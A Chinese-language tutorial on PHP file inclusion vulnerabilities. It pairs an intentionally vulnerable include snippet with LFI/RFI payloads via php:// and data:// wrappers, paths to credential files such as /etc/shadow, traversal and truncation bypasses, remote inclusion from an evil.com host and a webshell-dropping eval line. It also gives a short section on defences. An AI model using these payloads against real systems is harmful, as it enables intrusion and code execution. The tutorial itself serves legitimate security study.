记文件包含漏洞的学习
字数 1388 2025-08-09 18:43:59
PHP文件包含漏洞全面解析与利用技术
一、文件包含漏洞基础
1. 相关函数
PHP中引发文件包含漏洞的主要是以下四个函数:
include():包含出错时提出警告,继续执行后续语句include_once():功能同include(),但已包含过的文件不再包含require():包含出错时直接退出,不执行后续语句require_once():功能同require(),但已包含过的文件不再包含
2. 漏洞原理
当利用这些函数包含文件时,无论文件类型(图片、txt等),都会作为PHP文件解析。
示例代码:
<?php
$file = $_GET['file'];
include $file;
?>
3. 漏洞场景
- 存在文件包含函数
- 函数中存在动态变量(如
include $file;) - 攻击者能控制该变量(如
$file = $_GET['file'];)
二、文件包含漏洞分类
1. LFI(本地文件包含)
- 能打开并包含本地文件的漏洞
- 不受
allow_url_fopen和allow_url_include配置影响
2. RFI(远程文件包含)
- 能包含远程服务器上的文件并执行
- 利用条件苛刻:
allow_url_fopen = Onallow_url_include = On
三、敏感文件路径
Windows系统
c:/boot.ini // 查看系统版本
c:/windows/php.ini // PHP配置信息
c:/windows/my.ini // MySQL配置文件
C:\Windows\win.ini // 系统配置文件
c:\mysql\data\mysql\user.MYD // MySQL用户密码
Linux/Unix系统
/etc/passwd // 用户账户信息
/etc/shadow // 用户密码哈希
/usr/local/app/apache2/conf/httpd.conf // Apache配置文件
/etc/my.cnf // MySQL配置文件
/etc/redhat-release // 系统版本
四、文件包含利用技术
1. PHP伪协议利用
file://
- 访问本地文件系统
- 无需
allow_url_fopen和allow_url_include
?file=file://C:/Windows/win.ini
php://input
- 读取POST原始数据
- 需要
allow_url_include = On
?file=php://input
POST: <?php phpinfo(); ?>
php://filter
- 读取文件源码(Base64编码)
?file=php://filter/read=convert.base64-encode/resource=index.php
phar://
- 解压缩包包含(PHP >= 5.3.0)
?file=phar://test.zip/shell.php
zip://
- 类似phar但需要绝对路径和#编码
?file=zip://D:/test.zip%23shell.php
data://
- 数据流封装(PHP >= 5.2)
- 需要
allow_url_fopen = On和allow_url_include = On
?file=data:text/plain,<?php phpinfo();?>
或
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
2. 其他包含方式
包含Session文件
- 利用条件:session路径已知且内容可控
?file=/var/lib/php5/sess_[PHPSESSID]
包含日志文件
- Apache日志:
/var/log/apache2/access.log - 通过修改User-Agent注入PHP代码
包含environ
- 利用条件:PHP以CGI方式运行
?file=proc/self/environ
包含上传文件
- 上传图片马后包含
?file=./upload/shell.jpg
包含临时文件
- 利用上传时的临时文件竞争包含
五、绕过技术
1. 目录遍历绕过
?file=../../etc/passwd
2. 编码绕过
../ → %2e%2e%2f
../ → ..%c0%af (特定环境)
3. 截断技术
- %00截断(PHP < 5.3.4)
?file=shell.php%00
- 长度截断(Windows 256字节,Linux 4096字节)
?file=shell.php/./././.../
4. 后缀绕过
- 利用?或#绕过后缀限制
?file=http://evil.com/shell.txt?
?file=http://evil.com/shell.txt%23
六、防御方案
- 配置
open_basedir限制访问目录 - 做好文件权限管理
- 使用白名单限制可包含文件
- 过滤危险字符(./\等)
- 关闭危险配置:
allow_url_fopen = Offallow_url_include = Off
- 避免使用动态包含
七、实战技巧
- 使用
php://filter读取配置文件获取更多信息 - 结合文件上传功能上传Webshell
- 利用日志文件注入PHP代码
- 在无法直接执行代码时,尝试写入文件:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
通过全面理解和掌握这些技术,安全研究人员可以更好地测试和防御文件包含漏洞,而开发人员则能够编写更安全的代码。